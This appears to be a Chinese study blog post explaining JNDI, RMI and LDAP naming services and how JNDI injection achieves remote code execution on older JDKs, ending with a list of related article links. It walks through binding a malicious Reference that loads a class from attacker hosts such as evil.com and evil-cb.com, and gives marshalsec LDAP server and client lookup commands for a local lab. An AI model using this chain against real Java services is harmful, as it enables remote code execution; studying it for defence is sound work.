1. 什么是JNDI

JNDI是Java的一种API,为我们提供了查找和访问各种命名和目录服务的通用统一的接口。通过JNDI统一接口我们可以来访问各种不同类型的服务,例如远程方法调用(RMI),通用对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS),相当于一个中间件,用户无需了解底层应用的具体应用要求,可以直接通过JNDI访问。

命名服务

命名服务是一种简单的键值对绑定,可以通过键名检索值,RMI就是典型的命名服务

通俗易懂,根据名字查找对象,每个人都有自己的名字吧~

目录服务

目录服务是命名服务的拓展。它与命名服务的区别在于它可以通过对象属性来检索对象,比如我们在学校里找一个人,可以通过xx学院——xx专业——xx班级——xx学号来找到他,而这些标签就是该对象的属性值,这种层级关系就很像目录关系,所以这种存储对象的方式就叫目录服务。

RMI
RMI是一种分布式对象应用,RMI技术可以使客户端远程调用服务端的对象,使客户端和服务端之间可以通信并相互传递信息。(说着说着总觉得跟python的socket好像...)

  1. JNDI动态协议转换

Context.PROVIDER_URL,这个属性指定了到哪里加载本地没有的类

当Context.PROVIDER_URL被配置过后,ctk.lookup("rmi://localhost:1099/hello")这一处代码改为 ctk.lookup("hello")也是可行的

但是如果开启了动态协议转换,Context.PROVIDER_URL就失效了,当我们调用lookup()方法时,如果lookup方法的参数像是一个URL地址,那么客户端就会去lookup()方法参数指定的URL中加载远程对象,而不是去Context.PROVIDERURL设置的地址去加载对象

所以当lookup的参数可控时......

  1. JNDI Naming Reference

但是攻击者仅调用lookup()方法参数指定的URL中加载远程对象,也是无法实现攻击的。因为受害者本地没有攻击者提供的类的class文件,所以是调用不了方法的。

于是乎,就有了Reference类。

Reference类表示对存在于命名/目录系统以外的对象的引用。如果远程获取 RMI 服务上的对象为 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化。

在创建Reference类时有三个比较关键的属性

  • className:远程加载时所使用的类名;

  • classFactory:加载的class中需要实例化类的名称;

  • classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;

要把一个对象绑定到rmi注册表中,这个对象需要继承UnicastRemoteObject,但是Reference没有继承它,所以我们还需要封装一下它,用 ReferenceWrapper 包裹一下Reference实例对象,这样就可以将其绑定到rmi注册表,并被远程访问到了

// 第一个参数是远程加载时所使用的类名, 第二个参数是要加载的类的完整类名(这两个参数可能有点让人难以琢磨,往下看你就明白了),第三个参数就是远程class文件存放的地址了
Reference refObj = new Reference("refClassName", "insClassName", "http://axin.com:6666/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);

当有客户端通过lookup("refObj")获取远程对象时,获取的是一个Reference存根(Stub),由于是Reference的存根,所以客户端会现在本地的classpath中去检查是否存在类refClassName,如果不存在则去指定的url(http://axin.com:6666/refClassName.class)动态加载,并且调用insClassName的无参构造函数,所以可以在构造函数里写恶意代码。

当然除了在无参构造函数中写利用代码,还可以利用java的static代码块来写恶意代码,因为static代码块的代码在class文件被加载过后就会立即执行,且只执行一次。

  1. JNDI注入原理

在JNDI中提供了绑定和查找的方法:

bind:将名称绑定到对象中;
lookup:通过名字检索执行的对象;

JNDI的代码格式如下:

String jndiName= ...;//指定需要查找name名称
Context context = new InitialContext();//初始化默认环境
DataSource ds = (DataSourse)context.lookup(jndiName);//查找该name的数据

当jndiName参数可控且开启动态协议转换时,就有可能为黑客的注入攻击提供了机会

注入原理

影响版本
JDK <= 8u121

在8u121之后com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 等属性的默认值变为false,就不能再利用了

将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件,当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行

注入过程(基于rmi)

  • 攻击者创建一个恶意对象

  • 绑定恶意的Reference到RMI注册表

  • 攻击者通过可控的 URI 参数,触发动态环境转换,例如,这里 URI 为 rmi://evil.com:1099/refObj;

  • 原先配置好的上下文环境 rmi://localhost:1099 会因为动态环境转换,而被指向 rmi://evil.com:1099/;

  • 用户去 rmi://evil.com:1099 请求绑定对象 refObj,攻击者事先准备好的 RMI 服务,会返回与refObj相绑定的ReferenceWrapper对象(Reference(“EvilObject”, “EvilObject”, “http://evil-cb.com/”));

  • 应用获取到 ReferenceWrapper 对象,开始从本地 CLASSPATH 中搜索 EvilObject 类,如果不存在,则会从 http://evil-cb.com/ 上去尝试获取 EvilObject.class,即动态的去获取 http://evil-cb.com/EvilObject.class;

  • 攻击者事先准备好的服务返回编译好的包含恶意代码的 EvilObject.class;

  • 应用开始调用 EvilObject 类的构造函数,因攻击者事先定义在构造函数,被包含在里面的恶意代码被执行;

注入过程(基于ldap)

除了RMI服务之外,JNDI还可以对接LDAP服务,且LDAP也能返回JNDI Reference对象,利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址如ldap://xxx/xxx,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。

影响版本
JDK <= 8u191 且版本不为7u201、6u211、6u141、7u131、8u121

这些版本的com.sun.jndi.ldap.object.trustURLCodebase属性默认值为false

  • 使用marshalsec构建ldap服务,服务端监听

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7777/#Exec 1099

http://127.0.0.1:7777/为本地服务,Exec是恶意文件,1099是开启的ldap服务端口(默认为1389)

  • 开启本地服务

python -m http.server 7777
  • 直接发起请求即可


import javax.naming.InitialContext;public class JNDILDAPClient {public static void main(String[] args) throws Exception {InitialContext initialContext = new InitialContext();initialContext.lookup("ldap://127.0.0.1:1099/Exec");}
}
  1. 总结

好复杂好复杂

JNDI的调用下图可能更清晰一点,主要就是Client、Server、RMI注册表这三部分

如何利用可以参考下面的漏洞复现的文章

Apache Log4j 远程代码执行漏洞

Fastjson 1.2.24反序列化漏洞

【每天学习一点新知识】JNDI注入相关推荐

  1. 【每天学习一点新知识】中间人攻击是什么

    目录 中间人攻击介绍 中间人攻击原理 1. ARP欺骗 2. DNS欺骗 防御方法 中间人攻击介绍 中间人攻击(man-in-the-middle attack, abbreviated to MIT ...

  2. 每天学习一点新知识(一)——Unity开发游戏的拆包

    每天学习一点新知识(一)--Unity开发游戏的解包 用了CSDN有一段时间了,但一直都没有写过blog,只是在输入,没有输出.而且一直主要都是在查一些作业.题解什么的,还是希望自己能够多学到一些新东 ...

  3. 【每天学习一点新知识】菜刀、冰蝎、蚁剑、哥斯拉webshell工具分析

    什么是webshell已经在之前的文章里做过讲解了,这里就不再赘述 附上链接:[每天学一点新知识]getshell???webshell???_RexHarrr的博客-CSDN博客 目录 中国菜刀 菜 ...

  4. 【每天学习一点新知识】跟咩咩一起学“宽字节注入”

    目录 什么是宽字节? 宽字节注入原理 常用URL编码 sqli-labs实例 判断是否存在漏洞 判断列数及回显 获取数据 宽字节注入的预防 什么是宽字节? 如果一个字符的大小是一个字节的,称为窄字节: ...

  5. 【每天学习一点新知识】浏览器的同源策略

    目录 同源的定义 同源策略的限制 规避同源策略 document.domain属性 跨域资源共享(CORS) 跨文档通信 JSONP WebSocket Nginx反向代理         浏览器默认 ...

  6. 【每天学习一点新知识】网络安全--截获攻击

    截获攻击原理和后果 原理 若正常传输路径为终端A到终端B,黑客首先改变传输路径为终端A-黑客终端-终端B,使得传输信息必须经过黑客终端,黑客终端就可以截获终端A传输给终端B的消息. 后果 目前很多访问 ...

  7. 【每天学习一点新知识】nmap端口扫描

    nmap所识别的6个端口状态 open(开放的) 应用程序正在该端口接收TCP 连接或者UDP报文.发现这一点常常是端口扫描 的主要目标.安全意识强的人们知道每个开放的端口 都是攻击的入口.攻击者或者 ...

  8. 【每天学习一点新知识】网安人口中的蜜罐是指什么

    目录 1.什么是蜜罐? 2.蜜罐的几种工作方式 3.沙箱和蜜罐的区别 4.公网蜜罐与内网蜜罐侧重点的区别 5.使用蜜罐的好处 一个接入互联网的网站,只要能和外部产生通信,就有被黑客攻击的可能--就像飞 ...

  9. 【每天学习一点新知识】sqlmap的使用

    这个大佬的教程太详细了,这边选取了一部分理论的sqlmap详细使用教程_星落.的博客-CSDN博客_sqlmap sqlmap常用命令 -h                               ...

最新文章

  1. CF1060D Social Circles
  2. 利用JS调用aspx页面(转载)
  3. 关于iOS沙盒的目录结构和获取
  4. DirectX 矩阵
  5. pytorch —— Batch Normalization
  6. oracle将原表数据加入新建表,Oracle新建用户并将原有表结构数据迁移,修改密码...
  7. 【Yarn】Yarn : 日志管理
  8. Android 按钮选择状态,如何修改Android中的默认按钮状态而不影响按下和选择的状态?...
  9. 黄聪:php实现关键词高亮
  10. Real-Time Rendering——18.5 Multiprocessing多处理
  11. Java中使用正则表达式
  12. 保姆级win7下配置虚拟机-安装Ubuntu20.04
  13. 分组统计之facet
  14. 深圳-银湖山郊野公园
  15. xcrun: error: invalid active developer path (/Library/Developer/CommandLineTools), missing xcrun at:
  16. python办公室自动化之office颜值担当-PPT
  17. Flink SQL 流计算可视化 UI 平台
  18. 刷题记录(NC235611 牛牛国的战争,NC23803 DongDong认亲戚,NC235622 叠积木)
  19. Altera FPGA 远程更新
  20. 消防栓系统市场现状及未来发展趋势

热门文章

  1. ANSYS中不同单元之间的连接
  2. 获取 csv文件的第一行(大多是特征)
  3. hdu6740 MUV LUV EXTRA KMP算法
  4. 澳门大学科技学院ECE(电机与电脑工程系)招收本硕博学生
  5. 自行车辐条市场前景分析及研究报告
  6. 城堡 The Castle
  7. 深圳小众好玩的公园推荐 你肯定没去过
  8. Ardunio开发实例-VEML6040颜色传感器
  9. 网站首页被直接篡改的应急处置
  10. 利用Kali进行WiFi钓鱼测试实战